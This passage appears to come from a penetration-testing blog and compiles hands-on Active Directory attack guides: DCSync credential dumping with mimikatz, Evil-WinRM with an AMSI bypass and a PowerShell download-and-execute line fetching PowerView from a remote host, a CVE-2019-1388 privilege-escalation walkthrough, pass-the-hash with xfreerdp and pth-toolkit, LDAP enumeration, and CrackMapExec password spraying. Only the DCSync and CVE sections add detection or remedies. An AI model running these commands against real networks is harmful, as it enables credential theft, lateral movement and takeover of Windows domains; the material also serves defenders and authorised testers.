  • lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
  • lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:Administrator

# Dump everything (printed in a short and readable format)

  • lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv

Note: On Windows, mimikatz can be used lsadump::dcsync to operate a DCSync and recover the krbtgt keys for a golden ticket attack for example. For this attack to work, the following mimikatz command should run in an elevated context (i.e. through runas with plaintext password, pass-the-hash or pass-the-ticket).

Detection

Auditing

One method is to monitor Windows event logs for Event ID 4662. Logs are an important part of security, but using them to monitor across the IT environment has significant challenges.

  • Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
  • Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
  • Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed

For detect DCSync attack from Windows Security Log Event ID 4662 we need to check following parameter value:

  • SubjectUserName - "The subject fields indicate the account on the local system which requested the logon."
  • AccessMask - will be 0x100 which means Control Access. Access allowed only after extended rights checks supported by the object are performed.
  • Properties - This has two parts of information. First part is the type of access that was used. Typically has the same value as Accesses field, for example, here is %%7688 is first part and second part is a tree of GUID values of Active Directory classes or property sets, for which operation was performed. The second part will be our concern point, where we like to check any GUID was match with DS-Replication-Get-Changes extended right / DS-Replication-Get-Changes-All extended / DS-Replication-Get-Changes-In-Filtered-Set extended right.

Detecting DCSync usage

While there may be event activity that could be used to identify DCSync usage, the best detection method is through network monitoring.

1. Identify all Domain Controller IP addresses and add to “Replication Allow List”.

  • Get-ADDomainController -filter * | select IPv4Address
  • [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | select IPAddress

2. Configure IDS to trigger if DsGetNCChange request originates an IP not on the “Replication Allow List” (list of DC IPs).

Protection Against DCSync Attacks:

  • Implement Least Privilege: Limit the number of accounts with high-level privileges like Domain Admins to reduce the potential impact of privilege escalation.
  • Regularly Rotate Passwords: Frequently change the passwords of privileged accounts to make it more difficult for attackers to maintain access.
  • Monitor for Anomalies: Implement robust monitoring and auditing of AD events. Look for suspicious activities such as unusual replication requests or privilege escalations.
  • Restrict Network Access: Limit network access to domain controllers to only trusted systems and administrators.
  • Endpoint Security: Employ endpoint security solutions to detect and prevent credential theft and malicious activity
  • Limit Tool Availability: Restrict the availability of tools with DCSync capabilities to trusted administrators and systems.
  • Limit the number of security principals with replication rights to only those that absolutely require those rights.
  • Regularly review and audit your AD environment to identify non-default security principals with these rights and remove any unnecessary permissions.

Sources

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync

https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync

https://www.extrahop.com/resources/attacks/dcsync/

https://adsecurity.org/?p=1729

https://www.semperis.com/blog/ad-security-101-dcsync-rights/

https://www.sentinelone.com/blog/active-directory-dcsync-attacks/

https://pswalia2u.medium.com/active-directory-attack-paths-with-exploitation-will-be-updated-as-i-learn-more-b23b5cfdae10

https://www.linkedin.com/pulse/dcsync-detection-exploitation-debashis-pal/

https://pentestlab.blog/tag/dcsync/

[How to] Evil-WinRM: A Tool for Windows Remote Management Exploitation

WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators.

This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting phase. The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff.

It is based mainly in the WinRM Ruby library which changed its way to work since its version 2.0. Now instead of using WinRM protocol, it is using PSRP (Powershell Remoting Protocol) for initializing runspace pools as well as creating and processing pipelines.

WinRM typically uses port 5985 for HTTP and port 5986 for HTTPS communication. However, the tool allows you to specify the desired port during usage, offering flexibility based on network configurations and security considerations.

  • 5985
  • 5986

Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

https://github.com/Hackplayers/evil-winrm

Features

  • Compatible to Linux and Windows client systems
  • Load in memory Powershell scripts
  • Load in memory dll files bypassing some AVs
  • Load in memory C# (C Sharp) assemblies bypassing some AVs
  • Load x64 payloads generated with awesome donut technique
  • Dynamic AMSI Bypass to avoid AV signatures
  • Pass-the-hash support
  • Kerberos auth support
  • SSL and certificates support
  • Upload and download files showing progress bar
  • List remote machine services without privileges
  • Command History
  • WinRM command completion
  • Local files/directories completion
  • Remote path (files/directories) completion (can be disabled optionally)
  • Colorization on prompt and output messages (can be disabled optionally)
  • Optional logging feature
  • Docker support (prebuilt images available at Dockerhub)
  • Trap capturing to avoid accidental shell exit on Ctrl+C

Requirements

Ruby 2.3 or higher is needed. Some ruby gems are needed as well: winrm >=2.3.2, winrm-fs >=1.3.2, stringio >=0.0.2, logger >= 1.4.3, fileutils >= 0.7.2. Depending of your installation method (4 availables) the installation of them could be required to be done manually.

Another important requirement only used for Kerberos auth is to install the Kerberos package used for network authentication. For some Linux like Debian based (Kali, Parrot, etc.) it is called krb5-user. For BlackArch it is called krb5 and probably it could be called in a different way for other Linux distributions.

Installation & Quick Start (4 methods)

Method 1. Installation directly as ruby gem (dependencies will be installed automatically on your system)

Step 1. Install it (it will install automatically dependencies):

  • gem install evil-winrm

Step 2. Ready. Just launch it!

  • evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Method 2. Git clone and install dependencies on your system manually

Step 1. Install dependencies manually:

  • sudo gem install winrm winrm-fs stringio logger fileutils

Step 2. Clone the repo:

  • git clone https://github.com/Hackplayers/evil-winrm.git

Step 3. Ready. Just launch it!

  • cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Method 3. Using bundler (dependencies will not be installed on your system, just to use evil-winrm)

Step 1. Install bundler:

  • gem install bundler

Step 2. Clone the repo:

  • git clone https://github.com/Hackplayers/evil-winrm.git

Step 3. Install dependencies with bundler:

  • cd evil-winrm && bundle install --path vendor/bundle

Step 4. Launch it with bundler:

  • bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Method 4. Using Docker

Step 1. Launch docker container based on already built image:

  • docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'

How to use

1. Display help menu

  • evil-winrm --help

Note: Notice the tool version at the top.

2. Log in using one of the accounts username/password

  • evil-winrm -u admin1 -p Admin.123 -i 192.168.0.110

3. Connect using pass the hash

  • evil-winrm --ip [ip] --user [user] --hash [nt_hash]

4. Display the console menu, and bypass AMSI

Windows AMSI (Antimalware Scan Interface): A Microsoft security feature that allows applications and scripts to be scanned for malicious content in real-time by interfacing with antivirus and antimalware products.

  • menu
  • Bypass-4MSI

5. Connect to a host, specifying directories for scripts and executables

  • evil-winrm --ip [ip] --user [user] --password [password] --scripts [path/to/scripts] --executables [path/to/executables]

SSL

1. Connect to a host, using SSL

  • evil-winrm --ip [ip] --user [user] --password [password] --ssl --pub-key [path/to/pubkey] --priv-key [path/to/privkey]

Upload Download files

1. Upload files

  • upload [path/to/local/file] [path/to/remote/file]
  • upload /home/kali/secret.txt C:\Users\admin1\Documents\secret.txt

2. Download files

  • download [path/to/local/file] [path/to/remote/file]
  • download C:\Users\admin1\Documents\Server_Secret.txt /home/kali/Server_Secret.txt

Import Powershell scripts

1. To load a powershell script download the script into the remote computer, display the menu and see all the methods/modules imported

  • IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.10:9999/PowerView.ps1')
  • menu

2. Run the modules

  • Get-Domain

3. (OPTIONAL) We can also log in specifying a local script folder, so, you just need to call it, without downloading it from the local machine

  • evil-winrm -u admin1 -p Admin.123 -i 192.168.0.110 -s ~/Documents/Tools/PowerSploit/Recon
  • PowerView.ps1

Import DLL

1. Import DLL

  • Dll-Loader
  • Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
  • Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
  • Dll-Loader -http -path http://example.com/myDll.dll

Note: To call the scripts

  • [SharpSploit.Enumeration.Net]::GetNetLocalGroupMembers()

Import Binary

1. Invoke a binary on the host from the --executables directory

  • Invoke-Binary
  • Invoke-Binary /opt/csharp/Watson.exe
  • Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
  • Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'

Import Donut payloads

1. Donut-Loader: allows to inject x64 payloads generated with awesome donut technique. No need to encode the payload.bin, just generate and inject! (https://github.com/TheWover/donut)

  • Donut-Loader
  • Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
  • Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

Sources

https://linuxcommandlibrary.com/man/evil-winrm

https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm

https://www.hackplayers.com/2019/10/evil-winrm-shell-winrm-para-pentesting.html

https://thehackerway.com/2021/12/15/evil-winrm-shell-sobre-winrm-para-pentesting-en-sistemas-windows-parte-2-de-2/

https://github.com/Hackplayers/evil-winrm

https://github.com/TheWover/donut

(CVE-2019-1388)[Privilege Escalation] Microsoft Windows Certificate Dialog privilege escalation

Microsoft Windows could allow a local authenticated attacker to gain elevated privileges on the system, caused by improper enforcement of user privileges in the Certificate Dialog. By executing a specially-crafted program, an authenticated attacker could exploit this vulnerability to execute arbitrary code with higher privileges.

To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.

This CVE exploit tend to abuse the UAC windows Certificate Dialog to execute the certificate issuer link as an NT Authority User and open a browser that is under NT Authority User. Then we can use that to prompt a shell as a NT Authority User.

What is Certificate Dialog?

The UAC (User Account Control) Windows Certificate Dialog is a component of the UAC system in Microsoft Windows. UAC is a security feature implemented in Windows Vista and later versions to mitigate the risks of unauthorized or malicious actions by prompting users for confirmation before allowing certain operations that require administrative privileges.

How UAC Windows Certificate Dialog Works:

  • User Initiates Action: When a user or an application attempts to perform an action that requires administrative privileges, such as installing or modifying certificates, a UAC prompt is triggered.
  • UAC Prompt: The UAC Windows Certificate Dialog appears, notifying the user that the action requires administrative rights. The dialog presents information about the application and the action being requested.
  • User Confirmation: The user must confirm the action by providing administrative credentials, typically an administrator's username and password.
  • Privilege Elevation: Upon confirmation, Windows grants the application or process the necessary elevated privileges to carry out the requested action. This might involve launching a separate process with administrative rights.
  • Action Execution: With the elevated privileges, the application can now perform the certificate-related operation that requires administrative access.

The prompts themselves are produced by an executable named consent.exe, running as NT AUTHORITY\SYSTEM and having an integrity level of System. Since the user can interact with this UI, it is necessary for the UI to be very tightly constrained. Otherwise, a low privileged user might be able to perform actions as SYSTEM via a circuitous route of UI operations. Even a solitary UI feature that appears harmless in isolation could potentially be the first step in a chain of actions leading to arbitrary control.

There is an obscure Microsoft-specific object identifier (OID) defined, having the numeric value 1.3.6.1.4.1.311.2.1.22.

The WinTrust.h header defines this as SPC_SP_AGENCY_INFO_OBJID, and, if present, it will be displayed in the Details tab as SpcSpAgencyInfo.

Affected Systems

SERVER

Windows 2008r2 7601

Windows 2012r2 9600

Windows 2016 14393

Windows 2019 1773

WORKSTATION

Windows 7 SP1 7601

Windows 8 9200

Windows 8.1 9600

Windows 10 1511 10240

Windows 10 1607 14393

Windows 10 1703 15063

Windows 10 1709 16299

Steps to abuse this vulnerability

1) Verify the current user you are, using cmd

  • whoami

2) find a program that can trigger the UAC prompt screen, run it as administrator. (In this demo I used: https://github.com/jas502n/CVE-2019-1388, HHUPD.exe)

3) select "Show more details"

4) select "Show information about the publisher's certificate"

5) click on the "Issued by" URL link it will prompt a browser interface. Then click OK to close this “Certificate” window and exit the UAC prompt

6) wait for the site to be fully loaded & select "save as" to prompt a explorer window for "save as".

Note: In my case, the webpage didn’t actually fully load so if that happens to you it is no worry, just verify within the address bar that it has a CA issuer address, in my case, Verisign.

7) This warning may appear just click OK and ignore it

  • When attempting to save the webpage you will get a pop up that states Location is not available. This verifies that escalation is working good. Simply hit OK and proceed on

8) on the explorer window address path, enter the cmd.exe full path:

C:\WINDOWS\system32\cmd.exe, use the enter key

Note: You will now go and save the webpage. This will vary on how it’s done depending on the browser.

  • (Alternatively way to open CMD): Within the System32 directory navigate down until you find the cmd executable. Right click on it and hit Open. A command prompt should open and to verify, type whoami and hit enter. whoami should display the current user as nt authority\system.

9) now you'll have an escalated privileges command prompt.

Remedy

Use Microsoft Automatic Update to apply the appropriate patch for your system, or the Microsoft Security Update Guide to search for available patches.

Securing UAC Windows Certificate Dialog:

  • Keep UAC Enabled: UAC should be enabled to ensure that administrative actions are confirmed by the user. Disabling UAC removes this layer of security.
  • Use Strong User Accounts: Ensure that the accounts with administrative privileges have strong passwords to prevent unauthorized access.
  • Regular Updates: Keep your Windows operating system and security software up to date to address any known vulnerabilities.
  • Beware of Malicious Prompts: Be cautious when prompted by UAC dialogs, especially if you didn't initiate any action. Malware can attempt to trick users into granting elevated privileges.
  • Use Standard User Accounts: Whenever possible, use a standard user account for regular activities. Use an administrative account only when necessary.
  • Verify the Source: Before providing administrative credentials, verify the source of the UAC prompt and the legitimacy of the action.
  • Application Whitelisting: Consider using application whitelisting solutions to restrict the execution of only trusted applications.

Sources

https://exchange.xforce.ibmcloud.com/vulnerabilities/170556

https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2019-1388

https://www.zerodayinitiative.com/advisories/ZDI-19-975/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1388

https://github.com/nobodyatall648/CVE-2019-1388

https://justinsaechao23.medium.com/cve-2019-1388-windows-certificate-dialog-elevation-of-privilege-4d247df5b4d7

https://sotharo-meas.medium.com/cve-2019-1388-windows-privilege-escalation-through-uac-22693fa23f5f

https://blog.invgate.com/patch-cve-2019-1388

https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege

[How to] xfreerdp

FreeRDP is an open-source implementation of the Remote Desktop Protocol (RDP), which is developed by Microsoft. It allows users to connect to and interact with remote Windows systems over a network connection. FreeRDP is widely used in the Linux community to establish remote desktop connections to Windows machines, offering a way to access Windows applications and desktop environments from within a Linux environment.

xfreerdp is a graphical client application provided by the FreeRDP project. It is designed to be used in Linux environments and provides a user-friendly interface for connecting to remote Windows systems via RDP. The "x" in "xfreerdp" stands for "X Window System," which is the graphical system used in most Linux distributions. This means that xfreerdp leverages the X Window System to display the remote Windows desktop on the local Linux machine.

  • xfreerdp /v:192.168.0.1 /u:username /pth:<NT_HASH>
  • xfreerdp /u:WANDA_RAMSEY /pth:12afe378bb20ba3eb14244b89560284e /d:vk9-sec /v:192.168.0.110

Due to account access restrictions, I couldn’t log in but I managed to authenticate.

[How to] windapsearch

windapsearch is a Python script to help enumerate users, groups and computers from a Windows domain through LDAP queries. By default, Windows Domain Controllers support basic LDAP operations through port 389/tcp. With any valid domain account (regardless of privileges), it is possible to perform LDAP queries against a domain controller for any AD related information.

https://github.com/ropnop/windapsearch

Installation

Requirements

windapsearch requires the python-ldap module. Run the follow commands to execute the script

  • git clone https://github.com/ropnop/windapsearch.git
  • cd windapsearch
  • sudo apt-get install -y libldap2-dev libsasl2-dev libssl-dev
  • sudo apt-get install python3-dev
  • pip install --upgrade pip setuptools
  • pip install python-ldap
  • python3 windapsearch.py

How to use

1. Display menu

  • python3 windapsearch.py -h
  • python3 windapsearch.py --help

2. Basic query, to verify credentials are valid

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123

2. Query users & save output in a file (just specify the destination folder)

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -U -o ~/Desktop

3. Query groups

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -G -o ~/Desktop

4. Get Member from a group

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -m <group_name>
  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -m IR-gra-distlist1

5. Find unconstrained computers, usually Domain Controller is unconstrained

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 --unconstrained-computers

6. Find uncontrained users

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 --unconstrained-users

7. Get computers

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -C

8. Get privilege users

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -PU

9. Get users members of domain admins

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 --da

10. Enumerate all objects with protected ACLs (admins)

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 --admin-objects

11. Enumerate all user objects with Service Principal Names (for kerberoasting)

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 --user-spns

12. Enumerate Group Policy Objects

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 --gpos

13. Fuzzy search for all matching LDAP entries

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -s administrator

14. Get full attribute data

  • python3 windapsearch.py -d vk9-sec.com --dc-ip 192.168.0.110 -u vk9-sec\\admin1 -p Admin.123 -G -o ~/Desktop --full

[How to] ldapdomaundump

In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user (or machine). This makes LDAP an interesting protocol for gathering information in the recon phase of a pentest of an internal network. A problem is that data from LDAP often is not available in an easy to read format.

ldapdomaindump is a tool which aims to solve this problem, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable json and csv/tsv/greppable files.

The tool was designed with the following goals in mind:
  • Easy overview of all users/groups/computers/policies in the domain
  • Authentication both via username and password, as with NTLM hashes (requires ldap3 >=1.3.1)
  • Possibility to run the tool with an existing authenticated connection to an LDAP service, allowing for integration with relaying tools such as impackets ntlmrelayx
The tool outputs several files containing an overview of objects in the domain:
  • domain_groups: List of groups in the domain
  • domain_users: List of users in the domain
  • domain_computers: List of computer accounts in the domain
  • domain_policy: Domain policy such as password requirements and lockout policy
  • domain_trusts: Incoming and outgoing domain trusts, and their properties
As well as two grouped files:
  • domain_users_by_group: Domain users per group they are member of
  • domain_computers_by_os: Domain computers sorted by Operating System

Dependencies and installation

Requires ldap3 > 2.0, dnspython and future. ldapdomaindump runs on both python 2 and 3.

Dependencies can be installed manually with pip install ldap3 dnspython future, but should in most cases be handled by pip when you install the main package either from git or pypi.

The ldapdomaindump package can be installed with python setup.py install from the git source, or for the latest release with pip install ldapdomaindump.

  • pip3 install ldap3 dnspython future

Installation

1. To install run

  • git clone https://github.com/dirkjanm/ldapdomaindump.git
  • cd ldapdomaindump
  • ls

2. Run help menu

  • python ldapdomaindump.py -h

How to use

1. Run the basic command to query the domain controller using an account. Use -o to specify where to store the data

  • python ldapdomaindump.py --user vk9-sec\\admin1 -p Admin.123 ldap://192.168.0.110 -o data

2. Access the newly created folder “data” and read the files that were stored there

  • cd data
  • ls

Note: By default, it creates json, html, grep files

3. Disable JSON output, Disable Greppable output

  • python ldapdomaindump.py --user vk9-sec\\admin1 -p Admin.123 ldap://192.168.0.110 -o data --no-json --no-grep

4. Resolve DNS

  • python ldapdomaindump.py --user vk9-sec\\admin1 -p Admin.123 ldap://192.168.0.110 -o data --resolve

5. Open the files and start examining Users, Groups, computer, permissions and delegations

Authentication

Most AD servers support NTLM authentication. In the rare case that it does not, use --authtype SIMPLE.

Output formats

By default the tool outputs all files in HTML, JSON and tab delimited output (greppable). There are also two grouped files (users_by_group and computers_by_os) for convenience. These do not have a greppable output. JSON output for grouped files is disabled by default since it creates very large files without any data that isn't present in the other files already.

DNS resolving

An important option is the -r option, which decides if a computers DNSHostName attribute should be resolved to an IPv4 address. While this can be very useful, the DNSHostName attribute is not automatically updated. When the AD Domain uses subdomains for computer hostnames, the DNSHostName will often be incorrect and will not resolve. Also keep in mind that resolving every hostname in the domain might cause a high load on the domain controller.

Minimizing network and memory usage

By default ldapdomaindump will try to dump every single attribute it can read to disk in the .json files. In large networks, this uses a lot of memory (since group relationships are currently calculated in memory before being written to disk). To dump only the minimal required attributes (the ones shown by default in the .html and .grep files), use the --minimal switch.

Visualizing groups with BloodHound

LDAPDomainDump includes a utility that can be used to convert ldapdomaindumps .json files to CSV files suitable for BloodHound. The utility is called ldd2bloodhound and is added to your path upon installation. Alternatively you can run it with python -m ldapdomaindump.convert or with python ldapdomaindump/convert.py if you are running it from the source. The conversion tool will take the users/groups/computers/trusts .json file and convert those to group_membership.csv and trust.csv which you can add to BloodHound. Note that these files are only compatible with BloodHound 1.x which is quite old. There are no plans to support the latest version as the BloodHound.py project was made for this. With the DCOnly collection method this tool will also only talk to LDAP and collect more information than ldapdomaindump would.

Visualizing dump with a pretty output like enum4linux

LDAPDomainDump includes a utility that can be used to output ldapdomaindumps .json files to an enum4linux like output. The utility is called ldd2pretty and is added to your path upon installation. Alternatively you can run it with python -m ldapdomaindump.pretty or with python ldapdomaindump/pretty.py if you are running it from the source.

[How to] Pth-ToolKit

It is a toolkit which contains a number of useful tools from which 2 of them can be used to execute arbitrary commands on remote Windows systems.

https://github.com/byt3bl33d3r/pth-toolkit/tree/master

Here’s a complete list of tools that come with the Pass-The-Hash toolkit:

  • pth-net: tool for administration of Samba and remote CIFS servers
  • pth-rpcclient: tool for executing client side MS-RPC functions
  • pth-smbclient: ftp-like client to access SMB/CIFS resources on servers
  • pth-smbget: wget-like utility for download files over SMB
  • pth-sqsh: interactive database shell for MS SQL servers
  • pth-winexe: SMB client to execute interactive commands on remote computer
  • pth-wmic: WMI client to execute queries on remote computer
  • pth-wmis: WMI client to execute a command on remote computer
  • pth-curl: curl with built-in NTLM support (deprecated / curl contains this natively)

All of these utilities support plain, Kerberos or NTLM authentications, fully supporting passing-the-hash (PTH) attacks.

Supported methods
  • winexe
  • wmic
  • wmis
  • rpcclient
  • smbclient
  • smbget
  • net

Pass-The-Hash RCE table overview

The following table provides information on what type of execution is possible using each method and provides details about which network ports are being used during the communication.

Method RCE type Port(s) used
1 pth-winexe interactive shell tcp/445
2 pth-wmis command tcp/135
tcp/50911 (Winmgmt)

Installation

1. Download the source code

  • git clone https://github.com/byt3bl33d3r/pth-toolkit.git
  • cd pth-toolkit
  • ls

2. Display utilities help menu

  • ./pth-winexe

Pass-The-Hash: pth-winexe

This method is similar to the traditional PsExec method from SysInternals. It registers a Windows service called “winexesvc” on the remote system.

This allows us to execute arbitrary commands on the remote system, including an interactive commands such as cmd.exe or powershell.exe.

All communication takes place solely on port tcp/445 using the SMB protocol.

1. Here’s an example of using pth-winexe utility as local Administrator using a clear text password:

  • pth-winexe -U ".\Administrator%pass123" //192.168.204.183 cmd.exe

2. using a NTLM hash:

  • pth-winexe -U ".\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" --uninstall //192.168.204.183 cmd

Note that without providing the “--uninstall” option, the service would remain running on the remote system afterwards.

Make sure to always include it to avoid leaving things running around after your engagement, otherwise it may lead to a very unpleasant conversations with your customer.

Using SYSTEM account

By default the pth-winexe utility executes the given command (cmd.exe in our case) under the privileges of the provided user

By using the “--system” option, pth-winexe can automatically escalate to the “nt authority\system” account.

  • pth-winexe -U ".\Administrator%pass123" --uninstall --system //192.168.204.183 cmd

This can be useful for conducting further attacks on the target machine. For instance:

  • No UAC bypasses required
  • Straightforward user impersonation

Again, make sure the “--uninstall” option is included.

Pass-The-Hash: pth-wmis

This method uses Windows Management Instrumentation (WMI) interface of the remote Windows system to run an arbitrary command.

It’s the only method that doesn’t use port tcp/445 for anything. It uses only port tcp/135 and a dynamically allocated high port such as tcp/50911 where it communicates with the Winmgmt service.

1. This method also has a little caveat – it doesn’t return the output from the command. If we want to see the output, we have to redirect the output to a file on the remote system and then fetch it with pth-smbget or pth-smbclient afterwards.

  • pth-wmis -U ".\Administrator%pass123" //192.168.204.183 'cmd.exe /c whoami > c:\users\public\out.txt'

2. Here’s example using an NTLM hash:

pth-wmis -U "vk9-sec\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" //192.168.204.183 'cmd.exe /c whoami > c:\users\public\out.txt'

3. As mentioned above, to get the output from the command, we have to fetch it using pth-smbget utility. For example:

  • pth-smbget -U ".\Administrator%pass123" -q -O smb://192.168.204.183/c$/users/public/out.txt

Sources

https://www.infosecmatter.com/rce-on-windows-from-linux-part-3-pth-toolkit/

https://github.com/byt3bl33d3r/pth-toolkit/tree/master

[How to] Enumerate AD users using Impacket/GetADUsers.py

This script will gather data about the domain's users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes. You can enable or disable the attributes shown in the final table by changing the values in line 184 and headers in line 190.

https://github.com/fortra/impacket/tree/master

https://github.com/fortra/impacket/blob/master/examples/GetADUsers.py

Password Authentication

1. Download the tool

  • wget https://raw.githubusercontent.com/fortra/impacket/master/examples/GetADUsers.py

2. Run the tool help menu

  • python3 GetADUsers.py -h

3. Get all users from the domain controller

  • python3 GetADUsers.py -all -dc-ip domain-controller-ip 'vk9-sec/vry4n:Admin.123'
  • python3 GetADUsers.py -all vk9-sec/admin1 -dc-ip 192.168.0.110

4. Post-compromise through a proxy host

  • proxychains -q GetADUsers.py -all -dc-ip domain-controller-ip 'domain.tld/username:password'

Pass the Hash

If you've dumped the SAM or LSASS on host post-compromise, you can pass the hash to dump users.

1. Get all users from the domain controller

  • GetADUsers.py -all -dc-ip domain-controller-ip -hashes lm-hash:nt-hash 'domain.tld/username'

2. Post-compromise through a proxy host

  • proxychains -q GetADUsers.py -all -dc-ip domain-controller-ip -hashes lm-hash:nt-hash 'domain.tld/username'

Sources

https://notes.benheater.com/books/active-directory/page/getaduserspy

https://www.hackingarticles.in/abusing-kerberos-using-impacket/

https://wadcoms.github.io/wadcoms/Impacket-GetADUsers/

[How to] CrackMapExec

CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Built with stealth in mind, CME follows the concept of "Living off the Land": abusing built-in Active Directory features/protocols to achieve it's functionality and allowing it to evade most endpoint protection/IDS/IPS solutions.

Documentation: https://wiki.porchetta.industries/

https://github.com/Porchetta-Industries/CrackMapExec

Installation

  • apt-get install -y libssl-dev libffi-dev python-dev-is-python3 build-essential
  • git clone https://github.com/mpgn/CrackMapExec
  • cd CrackMapExec
  • poetry install

How to use

1. Run the executable

  • poetry run crackmapexec

2. Viewing Protocol options (ldap, smb, mssql, vnc, rdp, ftp, winrm, ssh)

  • poetry run crackmapexec ldap -h

3. Target format

  • crackmapexec <protocol> ms.evilcorp.org
  • crackmapexec <protocol> 192.168.1.0 192.168.0.2
  • crackmapexec <protocol> 192.168.1.0/24
  • crackmapexec <protocol> 192.168.1.0-28 10.0.0.1-67
  • crackmapexec <protocol> ~/targets.txt

4. Using Credentials

  • crackmapexec <protocol> <target(s)> -u username -p password
  • crackmapexec <protocol> <target(s)> -u username -p 'Admin!123@'

5. Using a credential set from the database

  • crackmapexec <protocol> <target(s)> -id <cred ID(s)>

6. Brute Forcing & Password Spraying

  • crackmapexec <protocol> <target(s)> -u username1 -p password1 password2
  • crackmapexec <protocol> <target(s)> -u username1 username2 -p password1
  • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords
  • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes

7. Password Spraying without bruteforce, Can be usefull for protocols like WinRM and MSSQL. This option avoid the bruteforce when you use files (-u file -p file)

  • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce
  • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_pa

Using Modules

1. Viewing available modules for a Protocol

  • poetry run crackmapexec ldap -L

2. Using a module. For example, to run the SMB Mimikatz module:

  • crackmapexec smb <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz

3. Viewing module options

  • poetry run crackmapexec ldap -M laps --options

4. Using module options

  • poetry run crackmapexec <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'

BloodHound integration

CrackMapExec will set user as 'owned' on BloodHound when an account is found ! Very usefull when lsassy finds 20 credentials in one dump 🙂

First you need to configure your config file in you home folder: ~/.cme/cme.conf and add the following lines:

  • [BloodHound]
  • bh_enabled = True
  • bh_uri = 127.0.0.1
  • bh_port = 7687
  • bh_user = user
